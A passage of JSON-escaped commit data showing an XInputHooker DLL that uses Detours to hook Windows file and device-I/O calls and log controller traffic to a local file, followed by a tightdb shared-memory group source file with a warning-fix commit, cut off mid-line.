DetourCreateFileA);\n\t\tDetourDetach((PVOID*)&real_CreateFileW, DetourCreateFileW);\n\t\tDetourDetach((PVOID*)&real_WriteFile, DetourWriteFile);\n\t\tDetourDetach((PVOID*)&real_CloseHandle, DetourCloseHandle);\n\t\tDetourDetach((PVOID*)&real_GetOverlappedResult, DetourGetOverlappedResult);\n\t\tDetourTransactionCommit();\n\t\tbreak;\n\t}\n\treturn TRUE;\n}\n<commit_msg>Log path and error code if CreateFile fails<commit_after>\/\/\n\/\/ WinAPI\n\/\/ \n#define WIN32_LEAN_AND_MEAN\n#define NOMINMAX\n#include <Windows.h>\n#include <SetupAPI.h>\n#include <Shlwapi.h>\n#include <initguid.h>\n#include <winioctl.h>\n#include \"XUSB.h\"\n\n\/\/\n\/\/ STL\n\/\/ \n#include <string>\n#include <codecvt>\n#include <locale>\n#include <map>\n#include <iostream>\n#include <fstream>\n\n\/\/\n\/\/ JSON\n\/\/ \n#include <json\/json.h>\n\n\/\/\n\/\/ Hooking\n\/\/ \n#include <detours\/detours.h>\n\n\/\/\n\/\/ Logging\n\/\/ \n#include <spdlog\/spdlog.h>\n#include <spdlog\/sinks\/basic_file_sink.h>\n#include <spdlog\/fmt\/bin_to_hex.h>\n\nusing convert_t = std::codecvt_utf8<wchar_t>;\nstd::wstring_convert<convert_t, wchar_t> strconverter;\nstd::once_flag g_init;\nstd::string g_dllDir;\n\n\nstatic decltype(SetupDiEnumDeviceInterfaces) *real_SetupDiEnumDeviceInterfaces = SetupDiEnumDeviceInterfaces;\nstatic decltype(DeviceIoControl) *real_DeviceIoControl = DeviceIoControl;\nstatic decltype(CreateFileA) *real_CreateFileA = CreateFileA;\nstatic decltype(CreateFileW) *real_CreateFileW = CreateFileW;\nstatic decltype(WriteFile)* real_WriteFile = WriteFile;\nstatic decltype(CloseHandle)* real_CloseHandle = CloseHandle;\nstatic decltype(GetOverlappedResult)* real_GetOverlappedResult = GetOverlappedResult;\n\nstatic std::map<HANDLE, std::string> g_handleToPath;\nstatic std::map<DWORD, std::string> g_ioctlMap;\n\n\n\/\/\n\/\/ Hooks SetupDiEnumDeviceInterfaces() API\n\/\/ \nBOOL WINAPI DetourSetupDiEnumDeviceInterfaces(\n\tHDEVINFO DeviceInfoSet,\n\tPSP_DEVINFO_DATA DeviceInfoData,\n\tconst GUID* InterfaceClassGuid,\n\tDWORD MemberIndex,\n\tPSP_DEVICE_INTERFACE_DATA DeviceInterfaceData\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"SetupDiEnumDeviceInterfaces\");\n\n\tauto retval = real_SetupDiEnumDeviceInterfaces(DeviceInfoSet, DeviceInfoData, InterfaceClassGuid, MemberIndex,\n\t DeviceInterfaceData);\n\n\t_logger->info(\"InterfaceClassGuid = {{{:08X}-{:04X}-{:04X}-{:02X}{:02X}-{:02X}{:02X}{:02X}{:02X}{:02X}{:02X}}}, \"\n\t \"success = {}, error = 0x{:08X}\",\n\t InterfaceClassGuid->Data1, InterfaceClassGuid->Data2, InterfaceClassGuid->Data3,\n\t InterfaceClassGuid->Data4[0], InterfaceClassGuid->Data4[1], InterfaceClassGuid->Data4[2],\n\t InterfaceClassGuid->Data4[3],\n\t InterfaceClassGuid->Data4[4], InterfaceClassGuid->Data4[5], InterfaceClassGuid->Data4[6],\n\t InterfaceClassGuid->Data4[7],\n\t retval ? \"true\" : \"false\",\n\t\t\t\t retval ? ERROR_SUCCESS : GetLastError());\n\n\treturn retval;\n}\n\n\/\/\n\/\/ Hooks CreateFileA() API\n\/\/ \nHANDLE WINAPI DetourCreateFileA(\n\tLPCSTR lpFileName,\n\tDWORD dwDesiredAccess,\n\tDWORD dwShareMode,\n\tLPSECURITY_ATTRIBUTES lpSecurityAttributes,\n\tDWORD dwCreationDisposition,\n\tDWORD dwFlagsAndAttributes,\n\tHANDLE hTemplateFile\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CreateFileA\");\n\tstd::string path(lpFileName);\n\n\tconst bool isOfInterest = (path.rfind(\"\\\\\\\\\", 0) == 0);\n\n\tconst auto handle = real_CreateFileA(\n\t\tlpFileName,\n\t\tdwDesiredAccess,\n\t\tdwShareMode,\n\t\tlpSecurityAttributes,\n\t\tdwCreationDisposition,\n\t\tdwFlagsAndAttributes,\n\t\thTemplateFile\n\t);\n\n\tif (isOfInterest)\n\t{\n\t\tif (handle != INVALID_HANDLE_VALUE)\n\t\t{\n\t\t\tg_handleToPath[handle] = path;\n\t\t\t_logger->info(\"handle = {}, lpFileName = {}\", handle, path);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t_logger->info(\"lpFileName = {}, lastError = {}\", path, GetLastError());\n\t\t}\n\t}\n\n\treturn handle;\n}\n\n\/\/\n\/\/ Hooks CreateFileW() API\n\/\/ \nHANDLE WINAPI DetourCreateFileW(\n\tLPCWSTR lpFileName,\n\tDWORD dwDesiredAccess,\n\tDWORD dwShareMode,\n\tLPSECURITY_ATTRIBUTES lpSecurityAttributes,\n\tDWORD dwCreationDisposition,\n\tDWORD dwFlagsAndAttributes,\n\tHANDLE hTemplateFile\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CreateFileW\");\n\tstd::string path(strconverter.to_bytes(lpFileName));\n\n\tconst bool isOfInterest = (path.rfind(\"\\\\\\\\\", 0) == 0);\n\n\tconst auto handle = real_CreateFileW(\n\t\tlpFileName,\n\t\tdwDesiredAccess,\n\t\tdwShareMode,\n\t\tlpSecurityAttributes,\n\t\tdwCreationDisposition,\n\t\tdwFlagsAndAttributes,\n\t\thTemplateFile\n\t);\n\n\tif (isOfInterest)\n\t{\n\t\tif (handle != INVALID_HANDLE_VALUE)\n\t\t{\n\t\t\tg_handleToPath[handle] = path;\n\t\t\t_logger->info(\"handle = {}, lpFileName = {}\", handle, path);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t_logger->info(\"lpFileName = {}, lastError = {}\", path, GetLastError());\n\t\t}\n\t}\n\n\treturn handle;\n}\n\n\/\/\n\/\/ Hooks WriteFile() API\n\/\/ \nBOOL WINAPI DetourWriteFile(\n\tHANDLE hFile,\n\tLPCVOID lpBuffer,\n\tDWORD nNumberOfBytesToWrite,\n\tLPDWORD lpNumberOfBytesWritten,\n\tLPOVERLAPPED lpOverlapped\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"WriteFile\");\n\n\tconst PUCHAR charInBuf = PUCHAR(lpBuffer);\n\tDWORD tmpBytesWritten;\n\t\n\tconst auto ret = real_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &tmpBytesWritten, lpOverlapped);\n\tconst auto error = GetLastError();\n\n\tif (lpNumberOfBytesWritten)\n\t\t*lpNumberOfBytesWritten = tmpBytesWritten;\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hFile))\n\t{\n\t\tpath = g_handleToPath[hFile];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\tconst auto bufSize = std::min(nNumberOfBytesToWrite, tmpBytesWritten);\n\tconst std::vector<char> inBuffer(charInBuf, charInBuf + bufSize);\n\t\n\t\/\/ Prevent the logger from causing a crash via exception when it double-detours WriteFile\n\ttry\n\t{\n\t\t_logger->info(\"success = {}, lastError = 0x{:08X}, path = {} ({:04d}) -> {:Xpn}\",\n\t\t\tret ? \"true\" : \"false\",\n\t\t\tret ? ERROR_SUCCESS : error,\n\t\t\tpath,\n\t\t\tbufSize,\n\t\t\tspdlog::to_hex(inBuffer)\n\t\t);\n\t}\n\tcatch (...)\n\t{ }\n\n\treturn ret;\n}\n\nBOOL DetourCloseHandle(\n\tHANDLE hObject\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CloseHandle\");\n\n\tconst auto ret = real_CloseHandle(hObject);\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hObject))\n\t{\n\t\tpath = g_handleToPath[hObject];\n\t\tg_handleToPath.erase(hObject);\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\t_logger->info(\"handle = {}, path = {}\", hObject, path);\n\n\treturn ret;\n}\n\nBOOL WINAPI DetourGetOverlappedResult(\n\tHANDLE hFile,\n\tLPOVERLAPPED lpOverlapped,\n\tLPDWORD lpNumberOfBytesTransferred,\n\tBOOL bWait\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"GetOverlappedResult\");\n\tDWORD tmpBytesTransferred;\n\n\tconst auto ret = real_GetOverlappedResult(hFile, lpOverlapped, &tmpBytesTransferred, bWait);\n\tconst auto error = GetLastError();\n\n\tif (lpNumberOfBytesTransferred)\n\t\t*lpNumberOfBytesTransferred = tmpBytesTransferred;\n\t\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hFile))\n\t{\n\t\tpath = g_handleToPath[hFile];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\t_logger->info(\"success = {}, lastError = 0x{:08X}, bytesTransferred = {}, path = {}\",\n\t\tret ? \"true\" : \"false\",\n\t\tret ? ERROR_SUCCESS : error,\n\t\ttmpBytesTransferred,\n\t\tpath\n\t);\n\t\n\treturn ret;\n}\n\n\/\/\n\/\/ Hooks DeviceIoControl() API\n\/\/ \nBOOL WINAPI DetourDeviceIoControl(\n\tHANDLE hDevice,\n\tDWORD dwIoControlCode,\n\tLPVOID lpInBuffer,\n\tDWORD nInBufferSize,\n\tLPVOID lpOutBuffer,\n\tDWORD nOutBufferSize,\n\tLPDWORD lpBytesReturned,\n\tLPOVERLAPPED lpOverlapped\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"DeviceIoControl\");\n\n\tconst PUCHAR charInBuf = static_cast<PUCHAR>(lpInBuffer);\n\tconst std::vector<char> inBuffer(charInBuf, charInBuf + nInBufferSize);\n\n\tDWORD tmpBytesReturned;\n\n\tconst auto retval = real_DeviceIoControl(\n\t\thDevice,\n\t\tdwIoControlCode,\n\t\tlpInBuffer,\n\t\tnInBufferSize,\n\t\tlpOutBuffer,\n\t\tnOutBufferSize,\n\t\t&tmpBytesReturned, \/\/ might be null, use our own variable\n\t\tlpOverlapped\n\t);\n\n\tif (lpBytesReturned)\n\t\t*lpBytesReturned = tmpBytesReturned;\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hDevice))\n\t{\n\t\tpath = g_handleToPath[hDevice];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn retval;\n\t}\n#endif\n\n\tif (g_ioctlMap.count(dwIoControlCode))\n\t{\n\t\t_logger->info(\"[I] [{}] path = {} ({:04d}) -> {:Xpn}\",\n\t\t g_ioctlMap[dwIoControlCode],\n\t\t path,\n\t\t nInBufferSize,\n\t\t spdlog::to_hex(inBuffer)\n\t\t);\n\t}\n\n\tif (lpOutBuffer && nOutBufferSize > 0)\n\t{\n\t\tconst PUCHAR charOutBuf = static_cast<PUCHAR>(lpOutBuffer);\n\t\tconst auto bufSize = std::min(nOutBufferSize, tmpBytesReturned);\n\t\tconst std::vector<char> outBuffer(charOutBuf, charOutBuf + bufSize);\n\n\t\tif (g_ioctlMap.count(dwIoControlCode))\n\t\t{\n\t\t\t_logger->info(\"[O] [{}] path = {} ({:04d}) -> {:Xpn}\",\n\t\t\t g_ioctlMap[dwIoControlCode],\n\t\t\t path,\n\t\t\t bufSize,\n\t\t\t spdlog::to_hex(outBuffer)\n\t\t\t);\n\t\t}\n\t}\n\n\treturn retval;\n}\n\nEXTERN_C IMAGE_DOS_HEADER __ImageBase;\n\nBOOL WINAPI DllMain(HINSTANCE dll_handle, DWORD reason, LPVOID reserved)\n{\n\tif (DetourIsHelperProcess())\n\t{\n\t\treturn TRUE;\n\t}\n\n\tswitch (reason)\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t\t{\n\t\t\tCHAR dllPath[MAX_PATH];\n\n\t\t\tGetModuleFileNameA((HINSTANCE)&__ImageBase, dllPath, MAX_PATH);\n\t\t\tPathRemoveFileSpecA(dllPath);\n\t\t\tg_dllDir = std::string(dllPath);\n\n\t\t\tauto logger = spdlog::basic_logger_mt(\n\t\t\t\t\"XInputHooker\",\n\t\t\t\tg_dllDir + \"\\\\XInputHooker.log\"\n\t\t\t);\n\n#if _DEBUG\n\t\t\tspdlog::set_level(spdlog::level::debug);\n\t\t\tlogger->flush_on(spdlog::level::debug);\n#else\n\t\t\tlogger->flush_on(spdlog::level::info);\n#endif\n\n\t\t\tset_default_logger(logger);\n\n\t\t\t\/\/\n\t\t\t\/\/ Load known IOCTL code definitions\n\t\t\t\/\/ \n\t\t\tJson::Value root;\n\t\t\tstd::ifstream ifs(g_dllDir + \"\\\\ioctls.json\");\n\t\t\tifs >> root;\n\n\t\t\tfor (auto& i : root)\n\t\t\t{\n\t\t\t\tg_ioctlMap[std::stoul(i[\"HexValue\"].asString(), nullptr, 16)] = i[\"Ioctl\"].asString();\n\t\t\t}\n\t\t}\n\n\t\tDisableThreadLibraryCalls(dll_handle);\n\t\tDetourRestoreAfterWith();\n\n\t\tDetourTransactionBegin();\n\t\tDetourUpdateThread(GetCurrentThread());\n\t\tDetourAttach((PVOID*)&real_SetupDiEnumDeviceInterfaces, DetourSetupDiEnumDeviceInterfaces);\n\t\tDetourAttach((PVOID*)&real_DeviceIoControl, DetourDeviceIoControl);\n\t\tDetourAttach((PVOID*)&real_CreateFileA, DetourCreateFileA);\n\t\tDetourAttach((PVOID*)&real_CreateFileW, DetourCreateFileW);\n\t\tDetourAttach((PVOID*)&real_WriteFile, DetourWriteFile);\n\t\tDetourAttach((PVOID*)&real_CloseHandle, DetourCloseHandle);\n\t\tDetourAttach((PVOID*)&real_GetOverlappedResult, DetourGetOverlappedResult);\n\t\tDetourTransactionCommit();\n\n\t\tbreak;\n\n\tcase DLL_PROCESS_DETACH:\n\t\tDetourTransactionBegin();\n\t\tDetourUpdateThread(GetCurrentThread());\n\t\tDetourDetach((PVOID*)&real_SetupDiEnumDeviceInterfaces, DetourSetupDiEnumDeviceInterfaces);\n\t\tDetourDetach((PVOID*)&real_DeviceIoControl, DetourDeviceIoControl);\n\t\tDetourDetach((PVOID*)&real_CreateFileA, DetourCreateFileA);\n\t\tDetourDetach((PVOID*)&real_CreateFileW, DetourCreateFileW);\n\t\tDetourDetach((PVOID*)&real_WriteFile, DetourWriteFile);\n\t\tDetourDetach((PVOID*)&real_CloseHandle, DetourCloseHandle);\n\t\tDetourDetach((PVOID*)&real_GetOverlappedResult, DetourGetOverlappedResult);\n\t\tDetourTransactionCommit();\n\t\tbreak;\n\t}\n\treturn TRUE;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"group_shared.hpp\"\n#include <cassert>\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <sys\/mman.h>\n\nusing namespace tightdb;\n\n\/\/ Pre-declare local functions\nchar* concat_strings(const char* str1, const char* str2);\n\nstruct tightdb::ReadCount {\n uint32_t version;\n uint32_t count;\n};\n\nstruct tightdb::SharedInfo {\n pthread_mutex_t readmutex;\n pthread_mutex_t writemutex;\n uint64_t filesize;\n uint32_t infosize;\n \n uint64_t current_top;\n uint32_t current_version;\n \n uint32_t capacity; \/\/ -1 so it can also be used as mask\n uint32_t put_pos;\n uint32_t get_pos;\n ReadCount readers[32]; \/\/ has to be power of two\n};\n\n\/\/ Does not work for windows yet\n#ifndef _MSC_VER\n\nSharedGroup::SharedGroup(const char* filename) : m_group(filename, false), m_info(NULL), m_isValid(false), m_version(-1)\n{\n if (!m_group.is_valid()) return;\n \n \/\/ Open shared coordination buffer\n const char* const path = concat_strings(filename, \".lock\");\n const int fd = open(path, O_RDWR|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);\n free((void*)path); \n if (fd < 0) return;\n \n \/\/ Get size\n struct stat statbuf;\n if (fstat(fd, &statbuf) < 0) {\n close(fd);\n return;\n }\n size_t len = statbuf.st_size;\n \n \/\/ Handle empty files (first user)\n bool needInit = false;\n if (len == 0) {\n \/\/ Create new file\n len = sizeof(SharedInfo);\n ftruncate(fd, len);\n needInit = true;\n }\n \n \/\/ Map to memory\n void* const p = mmap(0, len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);\n close(fd); \/\/ no loner need file discriptor\n if (p == (void*)-1) return;\n\n m_info = (SharedInfo*)p;\n \n if (needInit) {\n pthread_mutex_lock(&m_info->readmutex);\n {\n const SlabAlloc& alloc = m_group.get_allocator();\n \n m_info->filesize = alloc.GetFileLen();\n m_info->infosize = (uint32_t)len;\n m_info->current_top = alloc.GetTopRef();;\n m_info->current_version = 0;\n m_info->capacity = 32-1; \n m_info->put_pos = 0;\n m_info->get_pos = 0;\n }\n pthread_mutex_unlock(&m_info->readmutex);\n }\n \n m_isValid = true;\n}\n\nSharedGroup::~SharedGroup()\n{\n if (m_info) {\n munmap((void*)m_info, m_info->infosize); \n }\n}\n\nconst Group& SharedGroup::start_read()\n{\n size_t new_topref = 0;\n size_t new_filesize = 0;\n \n pthread_mutex_lock(&m_info->readmutex);\n {\n \/\/ Get the current top ref\n new_topref = m_info->current_top;\n new_filesize = m_info->filesize;\n m_version = m_info->current_version;\n \n \/\/ Update reader list\n if (ringbuf_is_empty()) {\n const ReadCount r2 = {m_info->current_version, 1};\n ringbuf_put(r2);\n }\n else {\n ReadCount& r = ringbuf_get_last();\n if (r.version == m_info->current_version)\n ++(r.count);\n else {\n const ReadCount r2 = {m_info->current_version, 1};\n ringbuf_put(r2);\n }\n }\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n \/\/ Make sure the group is up-to-date\n m_group.update_from_shared(new_topref, new_filesize);\n \n return m_group;\n}\n\nvoid SharedGroup::end_read()\n{\n assert(m_version != (uint32_t)-1);\n \n pthread_mutex_lock(&m_info->readmutex);\n {\n \/\/ Find entry for current version\n const size_t ndx = ringbuf_find(m_version);\n assert(ndx != (size_t)-1);\n ReadCount& r = ringbuf_get(ndx);\n \n \/\/ Decrement count and remove as many entries as possible\n if (r.count == 1 && ringbuf_is_first(ndx)) {\n ringbuf_remove_first();\n while (!ringbuf_is_empty() && ringbuf_get_first().count == 0) {\n ringbuf_remove_first();\n }\n }\n else {\n assert(r.count > 0);\n --r.count;\n }\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n m_version = (uint32_t)-1;\n}\n\nGroup& SharedGroup::start_write()\n{\n \/\/ Get write lock\n \/\/ Note that this will not get released until we call\n \/\/ end_write().\n pthread_mutex_lock(&m_info->writemutex);\n \n \/\/ Get the current top ref\n const size_t new_topref = m_info->current_top;\n const size_t new_filesize = m_info->filesize;\n \n \/\/ Make sure the group is up-to-date\n \/\/ zero ref means that the file has just been created\n if (new_topref != 0) {\n m_group.update_from_shared(new_topref, new_filesize);\n }\n \n return m_group;\n}\n\nvoid SharedGroup::end_write()\n{\n m_group.commit();\n \n \/\/ Get the current top ref\n const SlabAlloc& alloc = m_group.get_allocator();\n const size_t new_topref = alloc.GetTopRef();\n const size_t new_filesize = alloc.GetFileLen();\n \n \/\/ Update reader info\n pthread_mutex_lock(&m_info->readmutex);\n {\n m_info->current_top = new_topref;\n m_info->filesize = new_filesize;\n ++m_info->current_version;\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n \/\/ Release write lock\n pthread_mutex_unlock(&m_info->writemutex);\n}\n\nbool SharedGroup::ringbuf_is_empty() const\n{\n return (ringbuf_size() == 0);\n}\n\nsize_t SharedGroup::ringbuf_size() const\n{\n return ((m_info->put_pos - m_info->get_pos) & m_info->capacity);\n}\n\nsize_t SharedGroup::ringbuf_capacity() const\n{\n return m_info->capacity+1;\n}\n\nbool SharedGroup::ringbuf_is_first(size_t ndx) const {\n return (ndx == m_info->get_pos);\n}\n\nReadCount& SharedGroup::ringbuf_get(size_t ndx)\n{\n return m_info->readers[ndx];\n}\n\nReadCount& SharedGroup::ringbuf_get_first()\n{\n return m_info->readers[m_info->get_pos];\n}\n\nReadCount& SharedGroup::ringbuf_get_last()\n{\n const uint32_t lastPos = (m_info->put_pos - 1) & m_info->capacity;\n return m_info->readers[lastPos];\n}\n\nvoid SharedGroup::ringbuf_remove_first() {\n m_info->get_pos = (m_info->get_pos + 1) & m_info->capacity;\n}\n\nvoid SharedGroup::ringbuf_put(const ReadCount& v)\n{\n const bool isFull = (ringbuf_size() == (m_info->capacity+1));\n \n if(isFull) {\n \/\/TODO: expand buffer\n assert(false);\n }\n \n m_info->readers[m_info->put_pos] = v;\n m_info->put_pos = (m_info->put_pos + 1) & m_info->capacity;\n}\n\nsize_t SharedGroup::ringbuf_find(uint32_t version) const\n{\n uint32_t pos = m_info->get_pos;\n while (pos != m_info->put_pos) {\n const ReadCount& r = m_info->readers[pos];\n if (r.version == version)\n return pos;\n \n pos = (pos + 1) & m_info->capacity;\n }\n \n return (size_t)-1;\n}\n\nvoid SharedGroup::test_ringbuf()\n{\n assert(ringbuf_is_empty());\n \n const ReadCount rc = {1, 1};\n ringbuf_put(rc);\n assert(ringbuf_size() == 1);\n \n ringbuf_remove_first();\n assert(ringbuf_is_empty());\n \n \/\/ Fill buffer\n const size_t capacity = ringbuf_capacity();\n for (size_t i = 0; i < capacity; ++i) {\n const ReadCount r = {1, (uint32_t)i};\n ringbuf_put(r);\n assert(ringbuf_get_last().count == i);\n }\n for (size_t i = 0; i < 32; ++i) {\n const ReadCount& r = ringbuf_get_first();\n assert(r.count == i);\n ringbuf_remove_first();\n }\n assert(ringbuf_is_empty());\n \n}\n\n#endif \/\/_MSV_VER\n\n\/\/ Support methods\nchar* concat_strings(const char* str1, const char* str2) {\n const size_t len1 = strlen(str1);\n const size_t len2 = strlen(str2) + 1; \/\/ includes terminating null\n \n char* const s = (char*)malloc(len1 + len2);\n memcpy(s, str1, len1);\n memcpy(s + len1, str2, len2); \n \n return s;\n}<commit_msg>Elimination of a couple of warnings<commit_after>#include \"group_shared.hpp\"\n#include <cassert>\n\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <sys\/mman.h>\n\nusing namespace tightdb;\n\n\/\/ Pre-declare local functions\nchar* concat_strings(const char* str1, const char* str2);\n\nstruct tightdb::ReadCount {\n uint32_t version;\n uint32_t count;\n};\n\nstruct tightdb::SharedInfo {\n pthread_mutex_t readmutex;\n pthread_mutex_t writemutex;\n uint64_t filesize;\n uint32_t infosize;\n \n uint64_t current_top;\n uint32_t current_version;\n \n uint32_t capacity; \/\/ -1 so it can also be used as mask\n uint32_t put_pos;\n uint32_t get_pos;\n ReadCount readers[32]; \/\/ has to be power of two\n};\n\n\/\/ Does not work for windows yet\n#ifndef _MSC_VER\n\nSharedGroup::SharedGroup(const char* filename) : m_group(filename, false), m_info(NULL), m_isValid(false), m_version(-1)\n{\n if (!m_group.is_valid()) return;\n \n \/\/ Open shared coordination buffer\n const char* const path = concat_strings(filename, \".lock\");\n const int fd = open(path, O_RDWR|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);\n free((void*)path); \n if (fd < 0) return;\n \n \/\/ Get size\n struct stat statbuf;\n if (fstat(fd, &statbuf) < 0) {\n close(fd);\n return;\n }\n size_t len = statbuf.st_size;\n \n \/\/ Handle empty files (first user)\n bool needInit = false;\n if (len == 0) {\n \/\/ Create new file\n len = sizeof(SharedInfo);\n int r = ftruncate(fd, len);\n static_cast<void>(r); \/\/ FIXME: We should probably check for error here!\n needInit = true;\n }\n \n \/\/ Map to memory\n void* const p = mmap(0, len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);\n close(fd); \/\/ no loner need file discriptor\n if (p == (void*)-1) return;\n\n m_info = (SharedInfo*)p;\n \n if (needInit) {\n pthread_mutex_lock(&m_info->readmutex);\n {\n const SlabAlloc& alloc = m_group.get_allocator();\n \n m_info->filesize = alloc.GetFileLen();\n m_info->infosize = (uint32_t)len;\n m_info->current_top = alloc.GetTopRef();;\n m_info->current_version = 0;\n m_info->capacity = 32-1; \n m_info->put_pos = 0;\n m_info->get_pos = 0;\n }\n pthread_mutex_unlock(&m_info->readmutex);\n }\n \n m_isValid = true;\n}\n\nSharedGroup::~SharedGroup()\n{\n if (m_info) {\n munmap((void*)m_info, m_info->infosize); \n }\n}\n\nconst Group& SharedGroup::start_read()\n{\n size_t new_topref = 0;\n size_t new_filesize = 0;\n \n pthread_mutex_lock(&m_info->readmutex);\n {\n \/\/ Get the current top ref\n new_topref = m_info->current_top;\n new_filesize = m_info->filesize;\n m_version = m_info->current_version;\n \n \/\/ Update reader list\n if (ringbuf_is_empty()) {\n const ReadCount r2 = {m_info->current_version, 1};\n ringbuf_put(r2);\n }\n else {\n ReadCount& r = ringbuf_get_last();\n if (r.version == m_info->current_version)\n ++(r.count);\n else {\n const ReadCount r2 = {m_info->current_version, 1};\n ringbuf_put(r2);\n }\n }\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n \/\/ Make sure the group is up-to-date\n m_group.update_from_shared(new_topref, new_filesize);\n \n return m_group;\n}\n\nvoid SharedGroup::end_read()\n{\n assert(m_version != (uint32_t)-1);\n \n pthread_mutex_lock(&m_info->readmutex);\n {\n \/\/ Find entry for current version\n const size_t ndx = ringbuf_find(m_version);\n assert(ndx != (size_t)-1);\n ReadCount& r = ringbuf_get(ndx);\n \n \/\/ Decrement count and remove as many entries as possible\n if (r.count == 1 && ringbuf_is_first(ndx)) {\n ringbuf_remove_first();\n while (!ringbuf_is_empty() && ringbuf_get_first().count == 0) {\n ringbuf_remove_first();\n }\n }\n else {\n assert(r.count > 0);\n --r.count;\n }\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n m_version = (uint32_t)-1;\n}\n\nGroup& SharedGroup::start_write()\n{\n \/\/ Get write lock\n \/\/ Note that this will not get released until we call\n \/\/ end_write().\n pthread_mutex_lock(&m_info->writemutex);\n \n \/\/ Get the current top ref\n const size_t new_topref = m_info->current_top;\n const size_t new_filesize = m_info->filesize;\n \n \/\/ Make sure the group is up-to-date\n \/\/ zero ref means that the file has just been created\n if (new_topref != 0) {\n m_group.update_from_shared(new_topref, new_filesize);\n }\n \n return m_group;\n}\n\nvoid SharedGroup::end_write()\n{\n m_group.commit();\n \n \/\/ Get the current top ref\n const SlabAlloc& alloc = m_group.get_allocator();\n const size_t new_topref = alloc.GetTopRef();\n const size_t new_filesize = alloc.GetFileLen();\n \n \/\/ Update reader info\n pthread_mutex_lock(&m_info->readmutex);\n {\n m_info->current_top = new_topref;\n m_info->filesize = new_filesize;\n ++m_info->current_version;\n }\n pthread_mutex_unlock(&m_info->readmutex);\n \n \/\/ Release write lock\n pthread_mutex_unlock(&m_info->writemutex);\n}\n\nbool SharedGroup::ringbuf_is_empty() const\n{\n return (ringbuf_size() == 0);\n}\n\nsize_t SharedGroup::ringbuf_size() const\n{\n return ((m_info->put_pos - m_info->get_pos) & m_info->capacity);\n}\n\nsize_t SharedGroup::ringbuf_capacity() const\n{\n return m_info->capacity+1;\n}\n\nbool SharedGroup::ringbuf_is_first(size_t ndx) const {\n return (ndx == m_info->get_pos);\n}\n\nReadCount& SharedGroup::ringbuf_get(size_t ndx)\n{\n return m_info->readers[ndx];\n}\n\nReadCount& SharedGroup::ringbuf_get_first()\n{\n return m_info->readers[m_info->get_pos];\n}\n\nReadCount& SharedGroup::ringbuf_get_last()\n{\n const uint32_t lastPos = (m_info->put_pos - 1) & m_info->capacity;\n return m_info->readers[lastPos];\n}\n\nvoid SharedGroup::ringbuf_remove_first() {\n m_info->get_pos = (m_info->get_pos + 1) & m_info->capacity;\n}\n\nvoid SharedGroup::ringbuf_put(const ReadCount& v)\n{\n const bool isFull = (ringbuf_size() == (m_info->capacity+1));\n \n if(isFull) {\n \/\/TODO: expand buffer\n assert(false);\n }\n \n m_info->readers[m_info->put_pos] = v;\n m_info->put_pos = (m_info->put_pos + 1) & m_info->capacity;\n}\n\nsize_t SharedGroup::ringbuf_find(uint32_t version) const\n{\n uint32_t pos = m_info->get_pos;\n while (pos != m_info->put_pos) {\n const ReadCount& r = m_info->readers[pos];\n if (r.version == version)\n return pos;\n \n pos = (pos + 1) & m_info->capacity;\n }\n \n return (size_t)-1;\n}\n\nvoid SharedGroup::test_ringbuf()\n{\n assert(ringbuf_is_empty());\n \n const ReadCount rc = {1, 1};\n ringbuf_put(rc);\n assert(ringbuf_size() == 1);\n \n ringbuf_remove_first();\n assert(ringbuf_is_empty());\n \n \/\/ Fill buffer\n const size_t capacity = ringbuf_capacity();\n for (size_t i = 0; i < capacity; ++i) {\n const ReadCount r = {1, (uint32_t)i};\n ringbuf_put(r);\n assert(ringbuf_get_last().count == i);\n }\n for (size_t i = 0; i < 32; ++i) {\n const ReadCount& r = ringbuf_get_first();\n assert(r.count == i);\n static_cast<void>(r);\n ringbuf_remove_first();\n }\n assert(ringbuf_is_empty());\n \n}\n\n#endif \/\/_MSV_VER\n\n\/\/ Support methods\nchar* concat_strings(const char* str1, const char* str2) {\n const size_t len1 = strlen(str1);\n const size_t len2 = strlen(str2) + 1; \/\/ includes terminating null\n \n char* const s = (char*)malloc(len1 + len2);\n memcpy(s, str1, len1);\n memcpy(s + 